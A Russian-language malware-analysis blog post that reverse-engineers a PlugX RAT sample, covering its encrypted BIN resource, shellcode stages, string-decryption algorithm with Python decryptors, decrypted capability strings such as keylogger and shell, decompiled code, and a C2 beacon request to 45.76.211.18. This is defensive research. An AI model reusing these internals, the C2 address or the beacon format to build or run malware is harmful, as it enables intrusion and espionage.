February 7

Исследование PlugX RAT

Сегодня мы с вами разберем исполняемый файл семейства PlugX. Данный образец использовался APT TA428, Space Pirates. Изучим работу загрузчика, алгоритм расшифрования строк и основной нагрузки модуля. Потренируемся реверсить настоящие вирусы.

Больше информации об информационной безопасности, реверсу малвари и расследованию инцидентов в канале https://t.me/threathunt_pedia.

Используемые утилиты:

  1. Blobrunner - инструмент для отладки шелл-кода.
  2. SpeakEasy - эмулятор, предназначенный для эмуляции вредоносных программ ядра и пользовательского режима Windows.
  3. Ghidra - это платформа обратного проектирования программного обеспечения (SRE)/
  4. IDA Pro - инструмент для анализа двоичного кода.
  5. x64Debug - бинарный отладчик с открытым исходным кодом для Windows
  6. Die.
  7. PeStudio - утилита поиска артефактов в исполняемом файле.
  8. ResourceHacker - редактор ресурсов исполняемого файла Windows.

Информация об исполняемом файле

Первоначально получим инфорамацию об исполняемом файле, для этого загрузим в утилиту Die.

Файл собран для 32-ух разрядных систем и разработан на языке программирования C/C++.

Просмотрим также информацию о заголовке исполняемого файла, для этого воспользуемся утилитой PeStudio.

Файл содердит ресурс с имеменм BIN, энтропия 7.949, что свидетельствует о зашифрованных данных.

Выгрузим данный ресурс с помощью утилиты ResourceHacker. Далее начнем изучать исполняемый файл.

Исследование

Проведем статический анализ вредоноса для этого загрузим файл в IDA Pro, найдем функцию main и декомпилируем с помощью HexRays.

Основной функционал расположен в функции sub_401380. В качестве параметра передается дескриптор исполняемого файла. Рассмотрим данную функцию.

С помощью функции CreateFileA проверяется доступность файла calc.exe. Далее выполняется функция sub_4011B0, в качестве входных данных передается имя BIN ресурса.

В данной функции считываются содежимое ресурса (LoadResource) и расчитывается его размер (SizeofResource). Далее получения адреса WinAPI функций VirtualAlloc и memcpy. На участке кода 0x4012a3 просиходит расшифрование полезной нагрузки из ресурса BIN.
Для того чтобы разобать алгоритм расшифрования ресурса BIN проведем динамический анализ.

При динамичском анализе помним, что адрес функций при новом запуске постоянно меняется, но смещение это последние 4 цифры имени функции сохраняются.

Загрузим в x32dbg наш файл с помощью ctrl+G указываем адрес перехода ..11B0 , поставим точку останова. Нажмем F9 и переходим к участку кода по адресу 0x..12a3.

С каждым байтом проводится операция ~ (отрицание), xor (исключающее или) с байтом 0xef и xor со статически заданным ключом.

Для просмотра ключа необходимо перейти к дампу памяти по адресу ds:[edx+449000] для этого нажмем правой кнопкой мыши->Перейти к дампу. Длина ключа 255 байт.

Скопируем ключ и напишем алгоритм расшифрования файла ресурса BIN на Python3.

f = open('BIN109.bin','rb')
w = open('BIN_Decrypt','wb')

KEY = [
0xA3,0x34,0xAF,0x34,0x3F,0x35,0x7D,0x35,0x85,0x35,0x8C,0x35,0xA6,0x35,
0xAE,0x35,0xB4,0x35,0x2B,0x36,0x37,0x36,0x4B,0x36,0x57,0x36,0x5F,0x36,
0x6B,0x36,0x73,0x36,0x7F,0x36,0x87,0x36,0x93,0x36,0x9B,0x36,0xA7,0x36,
0x7E,0x37,0x93,0x37,0x9B,0x37,0xAA,0x37,0xBF,0x37,0xC7,0x37,0xD6,0x37,
0xDE,0x37,0xE9,0x37,0xFA,0x37,0xA,0x39,0x16,0x39,0x36,0x39,0x42,0x39,
0x5D,0x39,0x64,0x39,0x75,0x39,0x84,0x39,0x99,0x39,0xA0,0x39,0xBA,0x39,
0xC4,0x39,0x63,0x3B,0x71,0x3B,0xC2,0x3B,0xC9,0x3B,0xD6,0x3B,0xDE,0x3B,
0xE5,0x3B,0x1C,0x3C,0x29,0x3C,0xC2,0x3C,0xCE,0x3C,0xD8,0x3C,0xE4,0x3C,
0xEC,0x3C,0xF8,0x3C,0,0x3D,0xC,0x3D,0x14,0x3D,0x20,0x3D,0x34,0x3D,0x40,
0x3D,0xC5,0x3E,0x16,0x3F,0x49,0x3F,0x4F,0x3F,0x84,0x3F,0xCC,0x3F,0xD0,
0x3F,0xED,0x3F,0xFB,0x3F,0,0,0,0x40,0,0,0x70,0,0,0,0x27,0x30,0x44,0x30,
0x4D,0x30,0xA4,0x30,0xB4,0x30,0xBA,0x30,0x20,0x31,0xB0,0x31,0xCD,0x31,
0xD8,0x31,0x1A,0x32,0x2B,0x32,0xBA,0x32,0xC8,0x32,0x3C,0x33,0x40,0x33,
0x4B,0x33,0x66,0x33,0x6B,0x33,0x85,0x33,0x8B,0x33,0x91,0x33,0x97,0x33,
0x9D,0x33,0xA3,0x33,0xA9,0x33,0xAF,0x33,0xB5,0x33,0xBB,0x33,0xC1,0x33,
0xC7,0x33,0xCE,0x33,0xD6,0x33,0xDE,0x33,0xE6,0x33,0xF2,0x33,0xFB,0x33,
0,0x34,0x6,0x34,0x10,0x34,0x19,0x34,0x24,0x34,0x32,0x34,0x37,0x34,0x3D,
0x34,0x48,0x34,0x4F,0x34,0x58,0x34,0x5C,0x34,0x67,0x34
]

result = bytearray()
b = f.read()

for i in range(0,len(b)):
    result.append((((~b[i]) ^ 0xef) & 0xff) ^ KEY[i % 256])
    
w.write(result)

f.close()
w.close()

MD5 расшифрованного ресурса BIN: 0226a4f0be90c8588774c805626359db.

После расшифрования шелл-кода с помощью функции VirtualAlloc выделяется участок памяти и далее с помощью memcpy копируется в него расшифрованные данные. Начало расшифрованных данных представляют собой шелл-код, с которого начинается дальнейшее выполнение.

Перейдем во внуть функции call eax (горячая клавиша F7) и разберем алгоритм работы шелл-кода.

Следующий участок кода сильно обфусцирован по алгоритму CFF (Control Flow Flattening). В коде присутствует большое количесвто условных операций, что свидетельствует об операнде switch C++. Но на данном участке начинается процесс расшифровки основной полезной нагрузки PlugX.

С помощью трассировки в x32dbg (Ctrl + F7) собрал алгоритм расшифрования основной полезной нагрузки. В расшифрованном файле BIN нагрузка расположена по смещению 0x7AD. С каждым байтом нагрузки осуществляются следующие операции:

(edi + 0x46) & 0xff) ^ 0xf7) - 0xa8) & 0xff

Длина полезной нагрузки PlugX равна 0x13c33. Как видно из рисунка выше регистр EAX уменьшается на 1 и цикл расшифровки байта повторяется.

В шестнадцетиричном редактторе HxD можно скопировать зашифрованный блок. Смещение от начала 0x7AD, длина 0x1c3cc.

Начало расшифрованного кода E8 00 00 00 00 58.

После расшифрования выполнение передается на расшифрованный участок, который представляет собой новый шелл-код. Далее перейдем к участку расшифрованного шелл-кода, с которого начинается выполнени. Для этого в x32dbg нажмем горячую клавишу Ctrl+G и введем адрес, оканчивающийся на ...7ad (первые байты всегда будут разные).

Перейдем в функцию call ...07EB. В данной функции модуль получает адреса WinAPI функций VirtualAlloc, VirtualFree, RtlDecompressBuffer, memcpy с помощью GetProcAddress.

Спускаемся ниже и видим выполнение функции RtlDecompressBuffer.

В параметре CompressedBuffer находится адрес сжатых данных, которые мы получили после расшифрования начиная со смещения 0x7AD длиной 0x1c3cc. Сжатые данные расположены по смещению 0x523.

Перейдем к адресу UncompressBuffer после выполнения функции RtlDecompressBuffer и увидим расшифрованные данные, которые представляют собой основной модуль PlugX.

Процесс получения основной полезной нагрузки следующий: расшифрование ресурса BIN, выполнение шелл-кода из ресурса BIN, расшифрование следующего этапа шелл-кода по смещению 0x7AD файла ресурса, выполнение второго этапа шелл-кода, декомпреcсия основной полезной нагрузки.

После извлечения основной полезной нагрузки второй этап шелл-кода проверяет сигнатуру расшифрованной нагрузки PlugX, где MZ и PE заменены на XV.

Основная нагрузка представляет собой динамическую библиотеку. Для проведения статического анализа основной полезной нагрузки PlugX yнеобходимо заменить XV на MZ и PE и загрузить в IDA Pro.

После исполнения загрузчика выполнение передается в основную нагрузку, где в переменной lpReserved содержится структура, в которой хранится адрес конфигурации. Первые 4 байта конфигурации содержат размер (0x5ba) (см. Рисунок ниже).

Все строки основной нагрузки зашифрованы. Функция расшифрования строк находится по адресу ....15D7.

На вход функции расшифрования подается строка и ее длина, причем первые 4 байта представляют собой константу для инициализации переменных key1 и key2. Разработаем Python3 скрипт для IDA Pro

iimport struct
import idaapi


lobyte = lambda v3: v3 & 0xFF
hibyte = lambda v3: (v3 & 0xFF00) >> 8

lobyte2 = lambda v3: (v3 & 0xff0000) >> 16
hibyte2 = lambda v3: (v3 & 0xff000000) >> 24

def decrypt(b):
    
    const_ = struct.unpack('<I',b[:4])[0]
    k1 = const_ ^ 0x13352af
    k2 = const_ ^ 0xa7
    result = []
    for i in b[4:]:
        k1 = (k1 + 0x6FD) & 0xffffffff
        k2 = (k2 - 0x305B) & 0xffffffff
        a = ((((((((((lobyte(k1) - hibyte(k1)) & 0xff) ^ lobyte2(k1)) - hibyte2(k1) & 0xff) ^ lobyte(k2)) - hibyte(k2)) & 0xff) ^ lobyte2(k2)) - hibyte2(k2)) & 0xff) ^ i
        result.append(a)
    return "".join([chr(i) for i in result])
    

def main(start,size):
    b = bytearray()
    w = open('C:\\Users\\User\Downloads\\result.txt','bw+')
    for i in range(size):
        x = idaapi.get_byte(start + i)
        b.append(x)
    d = decrypt(b)
    print(d)

Загрузим данный скрипт в IDA Pro (File->Script File). При расшифровании определнной строки в командной строке Python IDA Pro вводим адрес и размер строки, к примеру, main(0x1002411c,7).

Все расшифрованные строки модуля представлены ниже.

SeDebugPrivilege
SeTcbPrivilege
Global\
Global\
\\.\PIPE\
http
https
socks
ftp
%APPDATA%\Mozilla\Firefox
profiles.in
Path
Profile0
prefs.js
user_pref("network.proxy.http"
user_pref("network.proxy.http_port"
user_pref("network.proxy.ftp"
user_pref("network.proxy.ftp_port"
user_pref("network.proxy.ssl"
user_pref("network.proxy.ssl_port"
user_pref("network.proxy.socks"
user_pref("network.proxy.socks_port"
user_pref("network.proxy.socks_version"
%WINDIR%\SYSTEM32\SERVICES.EXE
GlobalMemoryStatusEx
GetNativeSystemInfo
\\.\PIPE\
PlugInfo
DISK
DISK
KeyLogger
Nethood
Netstat
Option
PortMap
Process
Regedit
Screen
Service
Shell
SQL
Telnet
static
%4.4d-%2.2d-%2.2d %2.2d:%2.2d:%2.2d
NUM%d
F%d
Back
Tab
Cls
Enter
Pause
Esc
PageUp
PageDn
End
/]
Left
Up
Rigth
Down
Select
Print
Exec
PrtSc
Ins
Del
Hlp
LWin
RWin
Apps
Sleep
Numlock
Scroll
[Ctl+Alt+%s]
[Ctl+%s]
[Alt+%s]
[%s]
System Idle Process
System
System
System
System
SeShutdownPrivilege
SeShutdownPrivilege
SeShutdownPrivilege
NT AUTHORITY
SYSTEM
NT AUTHORITY
SYSTEM
NT AUTHORITY
SYSTEM
System Idle Process
System
System
CompanyName
FileD
CíÖ,z
FileVersion
ProductName
ProductVersion
\SystemRoot\
\??\
CompanyName
FileDescription
FileVersion
ProductName
ProductVersion
DISPLAY
DISPLAY
DISPLAY
DISPLAY
%4.4d%2.2d%2.2d%2.2d%
ÿ'½ê¬ÒN
DISPLAY
WINSTA0
image/jpeg
DISPLAY
*.*
.jpg
*.*
.jpg
%”“
Comp
FileDescription
FileVersion
ProductName
ProductVersion
SYSTEM\CurrentControlSet\Services\
SYSTEM\CurrentControlSet\Services\
\Parameters
Se
IfN
ServiceDll
CMD /Q
CONIN$
CONIN$
CONOUT$
wininet.dll
HttpSendRequestA
HttpSendRequestW
HttpSendRequestExA
HttpSendRequestExW
L Ú´‚
\Documents and Settings\All Users\DRM
\Documents and Settings\All Users\DRM
\Documents and Settings\All Users\Application Data
\ProgramData
\ProgramData
\ProgramData
\ProgramData
IsWow64Process
kernel32
~MHZ
HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0
QueryFullProcessImageNameW
kernel32
\SystemRoot\
\??\
\VarFileInfo\Translation
\StringFileInf
@žkVI2ݜ8
NTDLL.DLL
WTSGetActiveConsoleSes
0
ÙëŠú
WTSQueryUserToken
%windir%\explorer.exe
%AUTO%\X
X
X
X
%windir%\system32
%‘sªBb
%windir%\system32\msiexec.exe
127.0.0.1
127.0.0.1
127.0.0.1
127.0.0.1
TEST
X
X
XXXXXXXX
HTTP://
DnsFr
Proxy-Auth: 
Proxy-Authorization: Basic 
GET 
POST 
CONNECT 
HTTP://
Proxy-Auth: 
Proxy-Authorization: Basic 
CONNECT %s:%d HTTP/1.1  
Content
Content-Type: text/html  
Proxy-Authorization: Basic
Proxy-Connection: Keep-Alive
HTTP/1.0 200 
HTTP/1.1 200 
http
socks
%s=%s:%d
*/*
/%p%p%p
GET
G7: 
Mozilla/4.0 (compatible; MSIE 
IE
SOFTWARE\Microsoft\Internet Explorer\Version Vector
; Windows NT %d.%d
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent\Post Platform
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent\Post Platform
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform

Конфигурация основного модуля PlugX расшифровывается по алгоритму расшифрования строк (DecryptString_15d7), описанному выше и с полученным данными выполняется декомпресия (RtlDecompressBuffer). В конфигурации по умолчанию указан управляющий сервер 45.76.211.18.

Также в модуле присутствует возможность загрузки конфигурации модуля из файла, расположенного в домашнем каталоге вредоноса.

После расшифрования конфигурации начинается процесс выполнения. Запущенному процессу добавляются привиллегии SeTcbPrivilege (действует как часть операционной системы), SeDebugPrivilege (позволяет получить доступ к любому процессу или потоку). Далее создается новый поток, в котором выполняются дальнейшие действия.

В модуле присутствует функция генерации строк.

int __usercall GenerateString@<eax>(unsigned int a1@<eax>, int a2, int a3)
{
  UINT (__stdcall *GetSystemDirectoryW)(LPWSTR, UINT); // eax
  HMODULE v5; // eax
  BOOL (__stdcall *ProcAddress)(LPCWSTR, LPWSTR, DWORD, LPDWORD, LPDWORD, LPDWORD, LPWSTR, DWORD); // eax
  HMODULE v7; // eax
  DWORD v8; // eax
  int v9; // ecx
  int v10; // edi
  int v11; // eax
  __int16 v13[3]; // [esp+10h] [ebp-250h] BYREF
  __int16 v14; // [esp+16h] [ebp-24Ah]
  __int16 name[34]; // [esp+210h] [ebp-50h] BYREF
  int v16; // [esp+254h] [ebp-Ch] BYREF
  int v17; // [esp+258h] [ebp-8h] BYREF
  unsigned int v18; // [esp+25Ch] [ebp-4h] BYREF

  GetSystemDirectoryW = (UINT (__stdcall *)(LPWSTR, UINT))dword_1002C87C;
  if ( !dword_1002C87C )
  {
    v5 = (HMODULE)sub_100016FC();
    GetSystemDirectoryW = (UINT (__stdcall *)(LPWSTR, UINT))GetProcAddress(v5, "GetSystemDirectoryW");
    dword_1002C87C = (int)GetSystemDirectoryW;
  }
  GetSystemDirectoryW((LPWSTR)v13, 512);
  v14 = 0;
  ProcAddress = (BOOL (__stdcall *)(LPCWSTR, LPWSTR, DWORD, LPDWORD, LPDWORD, LPDWORD, LPWSTR, DWORD))dword_1002C5F4;
  if ( !dword_1002C5F4 )
  {
    v7 = (HMODULE)sub_100016FC();
    ProcAddress = (BOOL (__stdcall *)(LPCWSTR, LPWSTR, DWORD, LPDWORD, LPDWORD, LPDWORD, LPWSTR, DWORD))GetProcAddress(v7, "GetVolumeInformationW");
    dword_1002C5F4 = (int)ProcAddress;
  }
  if ( ProcAddress((LPCWSTR)v13, (LPWSTR)v13, 512, &v18, (LPDWORD)&v17, (LPDWORD)&v16, (LPWSTR)v13, 512) )
    v8 = 0;
  else
    v8 = sub_1000157A();
  if ( v8 )
    v18 = a1;
  else
    v18 ^= a1;
  v9 = (v18 & 0xF) + 3;
  LOWORD(v10) = 0;
  HIWORD(v10) = 0;
  if ( v9 > 0 )
  {
    do
    {
      v11 = v18 << 7;
      name[v10++] = v18 % 0x1A + 97;
      v18 = 8 * (v11 - (v18 >> 3) + 20140121) - ((v11 - (v18 >> 3) + 20140121) >> 7) - 20140121;
    }
    while ( v10 < v9 );
  }
  name[v9] = 0;
  string_wcopy(a2, a3);
  string_wconcat(a2, (int)name);
  return 0;
}

Она предназначена для создания обновленного файла конфигурации, а также при создании мьютекса Global\\%p%p%p.

В модуле присутствует код закрепления в системе с помощью создания службы, имя службы указано в конфигурации модуля. Но в текущей конфгурации модуля парметров закрепления не обнаружено.

Для установления связи с управляющим сервером используются WinAPI функции HttpOpenRequestA, HttpAddRequestHeadersA,HttpSendrequestHeadersA, InternetReadFile. В заголовок добавляется значение G7:<Base64(DecryptString(data))> зашифрованных по алгоритму шифрования строк и закодированных в Base64. Трафик в теле ответа шифруется по тому же алгоритму, что и строки. Содердимое запроса на управляющий сервер представлена ниже.

GET /D203C2D94728FF89BC4E3C39 HTTP/1.1
Accept: */*
G7: Lx/fXCz8J4qfquNfy6wK4pcupeE=
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.2; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
Host: 45.76.211.18:443
Connection: Keep-Alive
Cache-Control: no-cache

Заключение

Мы с вами разобрали модуль семейства PlugX, расшифровали основную нагрузку, в которой заменена сигнатура MZ и PE на XV. Разобрали алгоритм расшифрования строк, а также конфигурацию модуля.